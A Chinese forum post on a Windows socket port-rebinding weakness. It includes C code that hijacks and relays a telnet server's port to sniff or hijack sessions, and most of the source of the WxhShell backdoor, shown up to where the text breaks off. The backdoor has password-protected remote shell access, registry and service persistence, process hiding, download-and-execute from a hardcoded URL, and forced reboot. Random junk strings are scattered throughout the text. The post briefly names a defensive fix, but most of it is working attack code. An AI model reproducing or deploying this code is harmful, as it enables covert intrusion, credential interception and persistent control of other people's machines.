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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8<mloM-4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9#:fQ!3`  
+_$s9`@]6  
  saddr.sin_family = AF_INET; xw_klHL-o  
R9 Ab.t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]Idwy|eG  
T4Vp0i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {U$XHG  
R]e&JoY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z37Dv;&ZD  
- _ 8-i1?  
  这意味着什么?意味着可以进行如下的攻击: |LZ{kD|  
iu(obmh/o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >r7PK45.K  
#b;k+<n[X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mRRZ/m?A(  
E;{CoL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |h 6!bt!=  
vA!IcDP"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D (8Z90  
4'*-[TKC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3<+ZA-2  
V0Oqq0\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }BU%<5CQ  
6vAZLNG3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X/cb1#  
BJb,  
  #include !reOYt|  
  #include =pi,]m  
  #include Uq_lT,  
  #include    cZ|NGkZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ga/zt-&  
  int main() XPqGv=CN  
  { L(K 5f7\  
  WORD wVersionRequested; R&;x_4dr^  
  DWORD ret; 5I1YB+$}e  
  WSADATA wsaData; nRB3VsL  
  BOOL val;  R*2N\2  
  SOCKADDR_IN saddr; 3IQI={:k|D  
  SOCKADDR_IN scaddr; +DX P &Q  
  int err; ?!U.o1  
  SOCKET s; C]8w[)d[`;  
  SOCKET sc; <=GZm}/]N  
  int caddsize; 6q8}8;STTY  
  HANDLE mt; IB| 6\uKn  
  DWORD tid;   f3G:J<cL  
  wVersionRequested = MAKEWORD( 2, 2 ); BKtb@o~(  
  err = WSAStartup( wVersionRequested, &wsaData ); Z8FgxR  
  if ( err != 0 ) { <!FcQVH+L  
  printf("error!WSAStartup failed!\n"); ]s0wJD=  
  return -1; ZCj1Cz]"l<  
  } SyI~iW#Y1  
  saddr.sin_family = AF_INET; 9v`sSTlSd  
   0C%IdV%CU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yc?L OW0  
#J3o~,t<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *(1 <J2j  
  saddr.sin_port = htons(23); -*KKrte  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $%\6"P/64  
  { qMVuFw Phi  
  printf("error!socket failed!\n"); !;(Wm6~*ad  
  return -1; h[iO'Vq  
  } iYvzZ7 8f  
  val = TRUE; "*D9.LyM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {+_p?8X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8g!79q\c4  
  { ~mt{j7  
  printf("error!setsockopt failed!\n"); 48^C+#Jbc  
  return -1; r'#!w3*Cy  
  } O.X;w<F/V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;@ixrj0u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \3^V-/SJf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ],0I`!\  
dR.?Kv(,E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R/"-r^j  
  { ;f[##=tm  
  ret=GetLastError(); n.8870.BW  
  printf("error!bind failed!\n"); ejyx[CF  
  return -1; 9q$^x/z!  
  } EGqu-WBS  
  listen(s,2); z-kv{y*Hu  
  while(1) C=r`\W  
  { X41Qkf{  
  caddsize = sizeof(scaddr);  <a $!S  
  //接受连接请求 beikzuC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H!7?#tRU  
  if(sc!=INVALID_SOCKET) zn^7#$fC  
  { +`gU{e,p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /{hT3ncb  
  if(mt==NULL) ~<<32t'S:  
  { R[jFB 7dd  
  printf("Thread Creat Failed!\n"); :Bt,.uN C  
  break; W[DoQ @q  
  } eL"'-d+]  
  } ~A5NseWCK  
  CloseHandle(mt); 1G12FV>M  
  } @fmp2!?6  
  closesocket(s); aW dI  
  WSACleanup(); lJ=EP.T  
  return 0; /cx'(AT  
  }   !y~nsy:&7x  
  DWORD WINAPI ClientThread(LPVOID lpParam) * bYU=RS  
  { `ql8y'  
  SOCKET ss = (SOCKET)lpParam; ]5QXiF8`  
  SOCKET sc; ^_\m@   
  unsigned char buf[4096]; KG(FA  
  SOCKADDR_IN saddr; VT4 >6u}  
  long num; 0_ST2I"Ln  
  DWORD val; \.iejB  
  DWORD ret; qS! Lt3+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~= c 5q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bws}'#-*  
  saddr.sin_family = AF_INET; zE1=P/N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QnBWZUI  
  saddr.sin_port = htons(23); xg, 9~f[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ob/<;SrU<  
  { @.a59kP8X  
  printf("error!socket failed!\n"); mD% qDKI  
  return -1; ZDzG8E0Sq  
  } ]?T^tJ  
  val = 100; Hpz1Iy @  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >f Hu  
  { 6l2O>V  
  ret = GetLastError(); r`sKe &  
  return -1; P3W3+pwq  
  } Ig?9"{9p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *a\x!c"  
  { /*fx`0mY)  
  ret = GetLastError(); G)NqIur*Z  
  return -1; wAW{{ p  
  } 8r"-3<*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w/ZP. B  
  { V*O[8s%5v  
  printf("error!socket connect failed!\n"); H1q,w|O9j  
  closesocket(sc); p|nPu*R-\  
  closesocket(ss); "{E%Y*  
  return -1; ~"\v(\Pe  
  } Ws0)B8y,|  
  while(1) ,.2qh|Ol  
  { &g90q   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DVwB}W~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g.!k>_g`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XSN=0N!GB  
  num = recv(ss,buf,4096,0); P8h|2,c%  
  if(num>0) -wx~*  
  send(sc,buf,num,0); :%AEwRZ  
  else if(num==0) GY@:[u.&  
  break; ;AVIt!(L~V  
  num = recv(sc,buf,4096,0); LU8[$.P  
  if(num>0) ( 1  
  send(ss,buf,num,0); 5c}loOq  
  else if(num==0) o-&0_Zq_  
  break; W+8s>  
  } r7V !M1  
  closesocket(ss); -{Ar5) ?='  
  closesocket(sc); GSSmlJ`  
  return 0 ; di+ |` O  
  } JQej$=*  
x;:jF_  
& +k*+  
========================================================== A2L"&dl  
EQpF:@_  
下边附上一个代码,,WXhSHELL AFBWiuwI3  
fD\Fq'29{  
========================================================== J[uH@3v  
]gnEo.R  
#include "stdafx.h" 7Q Ns q  
+3XaAk  
#include <stdio.h> f>Ua7!b  
#include <string.h> P{ %Urv{U  
#include <windows.h> 9a+Y )?z  
#include <winsock2.h> Hq gg*4#  
#include <winsvc.h> U}Puq5[ ?  
#include <urlmon.h> c V MRSp  
HrZX~JnTmf  
#pragma comment (lib, "Ws2_32.lib") :|ah u  
#pragma comment (lib, "urlmon.lib") nIL67&  
B:UM2Jl   
#define MAX_USER   100 // 最大客户端连接数 KlS#f  
#define BUF_SOCK   200 // sock buffer "Vl4=W)u  
#define KEY_BUFF   255 // 输入 buffer :Sd`4"AA  
=E!Y f#p+q  
#define REBOOT     0   // 重启 cl4 _M{~  
#define SHUTDOWN   1   // 关机 ! N!pvK;  
r: >RH,  
#define DEF_PORT   5000 // 监听端口 mqsAYzG  
,H.5TQ#  
#define REG_LEN     16   // 注册表键长度 h0dZr-c  
#define SVC_LEN     80   // NT服务名长度 -(lP8Y~gFY  
kmu`sk"  
// 从dll定义API 0!0o[3*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2v@B7r4}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ] `q]n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {' 0#<Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v{"yrC  
 R:Ih#2R  
// wxhshell配置信息 4e|N^h*!  
struct WSCFG { {SXSQ'=  
  int ws_port;         // 监听端口 ^\`a-l^  
  char ws_passstr[REG_LEN]; // 口令 ,G="wI  
  int ws_autoins;       // 安装标记, 1=yes 0=no I7=A!C"  
  char ws_regname[REG_LEN]; // 注册表键名 R)SY#*Y  
  char ws_svcname[REG_LEN]; // 服务名 <z#Fj`2{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -L6CEe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T2rBH]5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iV#A-9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [\h?mlG?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PP!-*~F0Jr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A X1!<K  
?fC9)s  
}; d8 Jf3Mo  
Wuk8&P3  
// default Wxhshell configuration 0m> 8  
struct WSCFG wscfg={DEF_PORT, ]i0=3H2  
    "xuhuanlingzhe", U~?mW,iRL  
    1, 6L\]Ee  
    "Wxhshell", zd!%7 UP  
    "Wxhshell", xb0,dZb  
            "WxhShell Service", #%E^cGfY  
    "Wrsky Windows CmdShell Service",  !j%  
    "Please Input Your Password: ", (=c,b9cb  
  1, b$*2bSdv0<  
  "http://www.wrsky.com/wxhshell.exe", a 8Xwz@ M  
  "Wxhshell.exe" 1(>2tEjYT  
    }; ;;Z'd@  
&&LB0vH!J  
// 消息定义模块 ir{ 4k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H7Z`aQC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { 29aNm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =6=:OId  
char *msg_ws_ext="\n\rExit."; 's5rl  
char *msg_ws_end="\n\rQuit."; ~QPTs1Vk8  
char *msg_ws_boot="\n\rReboot..."; Jn| i!  
char *msg_ws_poff="\n\rShutdown..."; :wg=H  
char *msg_ws_down="\n\rSave to "; * ]bB7  
Qhc; Zl  
char *msg_ws_err="\n\rErr!"; J#i7'9g  
char *msg_ws_ok="\n\rOK!"; ErJ@$&7  
y`7<c5zD  
char ExeFile[MAX_PATH]; 6dz^%Ub  
int nUser = 0; W1)<!nwA  
HANDLE handles[MAX_USER]; W+"^!p|  
int OsIsNt; .o C! ~'  
YtWw)IK  
SERVICE_STATUS       serviceStatus; T KAs@X,t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^^B_z|;Aa  
Y[R>?w  
// 函数声明 m]fUV8U  
int Install(void); fXl2i]L(^B  
int Uninstall(void); C%]qK(9vvd  
int DownloadFile(char *sURL, SOCKET wsh); #s\kF *  
int Boot(int flag); aTeW#:m  
void HideProc(void); @0t[7Nv-1  
int GetOsVer(void); $)9|"q6  
int Wxhshell(SOCKET wsl); Qyx~={ .C~  
void TalkWithClient(void *cs); @b^$h:H  
int CmdShell(SOCKET sock); !V/\_P!I  
int StartFromService(void); Nz`v+sp  
int StartWxhshell(LPSTR lpCmdLine); A9K$:mL<2  
]a~sJz!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n@;B_Bt7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zG9D Ph  
~UO}PI`C  
// 数据结构和表定义 :@-yK8q's  
SERVICE_TABLE_ENTRY DispatchTable[] = :p]e4|R  
{ \>lA2^E f  
{wscfg.ws_svcname, NTServiceMain}, =l*xM/S  
{NULL, NULL} VzHrKI  
}; zYY]+)k?  
G?XA",AC  
// 自我安装 EleJ$ `/  
int Install(void) <Y1 Plc  
{ GtZ.' ?-  
  char svExeFile[MAX_PATH]; 1%N*GJlwJ  
  HKEY key; 'OP0#`6`  
  strcpy(svExeFile,ExeFile); 4Nt4(3Kf  
V!^0E.?a  
// 如果是win9x系统,修改注册表设为自启动 ."B{U_P&  
if(!OsIsNt) { &<uLr *+*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +YW;63"o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `#`jU"T|  
  RegCloseKey(key); X~"p]V_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c6c@ Xd V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); leH 7II9  
  RegCloseKey(key); VR&dy|5BO  
  return 0; &V <f;PF(I  
    } Xz)F-C27h  
  } #Mk: 4  
} L)F4)VL  
else { wi jO2F  
+ls`;f  
// 如果是NT以上系统,安装为系统服务 g9VY{[ V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g\.$4N  
if (schSCManager!=0) ,3f>-mP  
{ GCO: !,1  
  SC_HANDLE schService = CreateService T7.SjR6X>  
  ( ug ;Xoh5w  
  schSCManager, 0^u Ut-  
  wscfg.ws_svcname, ysIhUpd  
  wscfg.ws_svcdisp, aHpZhR| f$  
  SERVICE_ALL_ACCESS, m26YAcip}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +>!nqp  
  SERVICE_AUTO_START, \$Wpt#V  
  SERVICE_ERROR_NORMAL, u?dPCgs;h  
  svExeFile, U 887@-!3  
  NULL, 'xkl|P>=],  
  NULL, 3Z*o5@RI  
  NULL, {CBb^BP  
  NULL, J9]cs?`)  
  NULL <anKw|  
  ); "H`Be  
  if (schService!=0) _~\ } fY  
  { Is }kCf  
  CloseServiceHandle(schService); &b5(Su  
  CloseServiceHandle(schSCManager); 0^o/c SF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jED.0,+K !  
  strcat(svExeFile,wscfg.ws_svcname); u|Mx}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +D]raU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0D@$  
  RegCloseKey(key); v7./u4S|V  
  return 0; LFHJj-nk  
    } *w*>\ZhOm  
  } -q{N1? tcy  
  CloseServiceHandle(schSCManager); g:JSy  
} R3|4|JlGR  
} \#dacQ2E@  
jLVD37 P^  
return 1; ] T]{VB  
} ^&1O:G*"  
|H_WY#  
// 自我卸载 !vRZh('R  
int Uninstall(void) b-  t  
{ f ?k0(rl  
  HKEY key; h L [eA  
W>d)(  
if(!OsIsNt) { 0g|5s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vZTXvdF  
  RegDeleteValue(key,wscfg.ws_regname); Z*mbhod  
  RegCloseKey(key); &Q?@VN i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4l %W]'  
  RegDeleteValue(key,wscfg.ws_regname); ' :B;!3a0d  
  RegCloseKey(key); -~ ~h1  
  return 0; Zc1x"j  
  } d:K\W[$Bz  
} Z8xB a0  
} .06D_L"M  
else { =ejU(1 g  
T Q4L~8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ri"hU/H{  
if (schSCManager!=0) |JYb4J4Ni  
{ QWfSm^ t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {P~rf&Ee  
  if (schService!=0) >rEZ$h  
  { C){Q;`M-<  
  if(DeleteService(schService)!=0) { Sf*v#?  
  CloseServiceHandle(schService); H2R3I<j  
  CloseServiceHandle(schSCManager); 1a{3k#}  
  return 0; &Z]}rn  
  } >iOf3I-ATt  
  CloseServiceHandle(schService); z6E =%-`  
  } <.4(#Ebd  
  CloseServiceHandle(schSCManager); Bgc]t  
} eP>_CrJb  
} >;c);|'}q  
[q[37;ZEQ  
return 1; g_syGQ\  
} ={P`Tve  
BK%B[f*[OA  
// 从指定url下载文件 $-1ajSVJ  
int DownloadFile(char *sURL, SOCKET wsh) ye$_=KARP  
{ <6 Rec^QF  
  HRESULT hr; ANu>*  
char seps[]= "/"; ^)>( <6  
char *token; PtW2S 1?j  
char *file; m#RJRuZ|2V  
char myURL[MAX_PATH]; `K.B`  
char myFILE[MAX_PATH]; (Fzy8 s  
C'$}{%Cc@$  
strcpy(myURL,sURL);  J3 Q_  
  token=strtok(myURL,seps); kMch   
  while(token!=NULL) v~L\[&|_  
  { vNs%e/~vj  
    file=token; <<MpeMi  
  token=strtok(NULL,seps); gp`@dn';  
  } ;(`bP  
xE<H@@w  
GetCurrentDirectory(MAX_PATH,myFILE); ~-7/9$ay5  
strcat(myFILE, "\\"); Ex p ?x  
strcat(myFILE, file); hp'oiR;~w  
  send(wsh,myFILE,strlen(myFILE),0); = exCpW>  
send(wsh,"...",3,0); e*}zl>f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ie^Ed`  
  if(hr==S_OK) > U?\WgE$  
return 0; )9yQ C  
else 6J,h}S  
return 1; a pa&'%7  
iLSUz j`  
} <7J3tn B  
2w7$"N  
// 系统电源模块 3O$l;|SX  
int Boot(int flag) `Uz.9_6  
{ ~3:hed7:  
  HANDLE hToken; YTefEG]|q  
  TOKEN_PRIVILEGES tkp; NzQvciJ@"  
}?Y -I> w  
  if(OsIsNt) { iptA#<Yj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L!Y|`P#Yr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ln,<|,fZN  
    tkp.PrivilegeCount = 1; X^eyrqv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ljz)%y[s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2T2<I/")O  
if(flag==REBOOT) { (v/L   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /8qR7Z^HZ  
  return 0; a[~[l k=7  
} GCN-T1HvA2  
else { Vp]7n!g4l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) | 9S8sfw  
  return 0; <h/q^|tZ{  
} M{24MF   
  } $EFS_*<X  
  else { ek]JzD~w$  
if(flag==REBOOT) { #h=V@Dh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HU?1>}4L  
  return 0; j13- ?fQ&  
}  mU4(MjP?  
else { )4uWB2ZRoi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A2ye ^<-C.  
  return 0; BGibBF^  
} H I|a88   
} a8T9=KY^  
cOP'ql{"  
return 1; e#HPU  
} 5CK\Z'c~!  
A_@..hX(  
// win9x进程隐藏模块 ?Sh]kJ O  
void HideProc(void) i_*yS+Z;  
{ 0j!<eN=  
_WWC8?6 U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3:jxr  
  if ( hKernel != NULL ) jnp~ACN,  
  { W'vekuM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $||WI}k3V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p4z4[=-:  
    FreeLibrary(hKernel); y p{Dl  
  } }>@SyE'Q  
4Y59^  
return; g$GGo[_0  
} :} =lE"2  
O/#3QK  
// 获取操作系统版本 9~~NxWY%x  
int GetOsVer(void) 1<m`38'  
{ L-?ty@-i  
  OSVERSIONINFO winfo; x*z&#[(0g!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jt]RU+TB  
  GetVersionEx(&winfo); Q |o$^D,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [&99#7B  
  return 1; x @43ZH_  
  else *.nSv@F  
  return 0; aWTurnee^  
} ZJs~,Q  
D1y`J&A>Q  
// 客户端句柄模块 -hnNa A  
int Wxhshell(SOCKET wsl) G)s.~ T  
{ <1I4JPh>x  
  SOCKET wsh; f{VV U/$  
  struct sockaddr_in client; |Yw k  
  DWORD myID; 6inAnC@I  
>C_G~R  
  while(nUser<MAX_USER) 3mU~G}ig  
{ O1o>eDE5A  
  int nSize=sizeof(client); Zm*d)</>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CJN~p]\  
  if(wsh==INVALID_SOCKET) return 1; bh5D}w  
_}p [(sTV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >+7{PF+sB  
if(handles[nUser]==0) ] hK}ASC  
  closesocket(wsh); %7mGMa/  
else n32"cFPpT  
  nUser++; DQ+6VPc^o  
  } \l(J6Tu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8zeeC eIU  
>6Uc|D  
  return 0; L,A+"  
} JqO1 a?H  
I;JV-jDM  
// 关闭 socket i;{lY1  
void CloseIt(SOCKET wsh) $`GlXiV  
{ *CXc{{  
closesocket(wsh); LGuZp?"  
nUser--; }h Wv  p  
ExitThread(0); $Z)u04;&@  
} +r"}@8/\1  
b|.Cqsb  
// 客户端请求句柄 2R,} j@  
void TalkWithClient(void *cs) ,!Q nh:  
{ R4 eu,,J  
U:8] G  
  SOCKET wsh=(SOCKET)cs; e bp t/q[  
  char pwd[SVC_LEN]; oQ -m  
  char cmd[KEY_BUFF]; "[7-1}l  
char chr[1]; mmJnE  
int i,j; 4r4 #u'Om  
GFLat  
  while (nUser < MAX_USER) { _ab8z]H   
!0lk}Uzkh  
if(wscfg.ws_passstr) { N4,oO H~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F<{,W-my `  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Az y`4  
  //ZeroMemory(pwd,KEY_BUFF); .g}N@  
      i=0; BNJ0D  
  while(i<SVC_LEN) { 8GW+:  
(rhlK} C  
  // 设置超时 o}QP+  
  fd_set FdRead; eZa7brC|  
  struct timeval TimeOut; V5$ Gb6?K  
  FD_ZERO(&FdRead); plPPf+\  
  FD_SET(wsh,&FdRead); J|{50?S{^  
  TimeOut.tv_sec=8;  t* Ct*  
  TimeOut.tv_usec=0; )rP,+B?W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \azMF}mb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D)x^?!  
^k7I+A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @4UX~=:686  
  pwd=chr[0]; A^FkU  
  if(chr[0]==0xd || chr[0]==0xa) { hNh!H<}|m8  
  pwd=0; n*$g1HG6  
  break; /UK?&+1qE  
  } \h3HaNC  
  i++; wi+Q lf  
    } y}oA!<#3  
g]Y%c73  
  // 如果是非法用户,关闭 socket k%gj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TaSS) n  
} c&wg`1{Hal  
4GI3|{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F% a&|X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D"aK;_W@h  
Htr]_<@  
while(1) { s9"X.-!  
wbF`wi?  
  ZeroMemory(cmd,KEY_BUFF); er24}G8  
gmH`XKi\  
      // 自动支持客户端 telnet标准   |Q)mBvvN  
  j=0; *#>(P  
  while(j<KEY_BUFF) { pLe4dz WA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @2. :fK  
  cmd[j]=chr[0]; eE'>kP}  
  if(chr[0]==0xa || chr[0]==0xd) { -4+'(3qr  
  cmd[j]=0; 4+>yL+sC%v  
  break; bP-(N14x+  
  } b-8@_@f|g  
  j++; {+#{Cha  
    } i|z=WnF$&  
&)6}.$`  
  // 下载文件 2?%4|@*H?  
  if(strstr(cmd,"http://")) { jj2=|)w$3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kOo  Vqu  
  if(DownloadFile(cmd,wsh)) T8\@CV!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8hS^8  
  else J \|~k2~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KRlJKd{  
  } 8tSY|ME  
  else { oQh;lb  
r=3`Eb"t  
    switch(cmd[0]) { iJhieNn  
  e eN`T&cI  
  // 帮助  kSEA  
  case '?': { Y>aVnixx<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U/{t "e  
    break; sryA(V  
  } X=-=z5  
  // 安装 2~/`L=L  
  case 'i': { XdDQ$'*X  
    if(Install()) <%3fJt-Ie  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CC!`fX6z>h  
    else Pi=FnS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aWimg6q  
    break; |-vyhr 0  
    } 'fK=;mM  
  // 卸载 [sG`D-\P[  
  case 'r': { gYN;F u-9Z  
    if(Uninstall()) A4(L47^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XM!oN^  
    else "Cxj_V@\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 16eP7s  
    break; [dLc+h1{B  
    } 6!0NFP~b  
  // 显示 wxhshell 所在路径 _YR#J%xa  
  case 'p': { eD7\,}O  
    char svExeFile[MAX_PATH]; KL?<lp"  
    strcpy(svExeFile,"\n\r"); "k + :!D  
      strcat(svExeFile,ExeFile); ha|2u(4  
        send(wsh,svExeFile,strlen(svExeFile),0); ;p*L(8<YI  
    break; @=w)a  
    } {(-923|,  
  // 重启 z^gz kXx7  
  case 'b': { j,].88H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,9 ^ 5  
    if(Boot(REBOOT)) [wSoZBl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7fpaxc-  
    else { hb~d4J=S  
    closesocket(wsh); =CFg~8W  
    ExitThread(0); *g}==o`  
    } OO/>}? ob  
    break; zx "EAF{  
    } Bi fI.2|  
  // 关机 ]b}3f<  
  case 'd': { < q(i(%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yD3vq}U!  
    if(Boot(SHUTDOWN)) }mp`!7?>O  
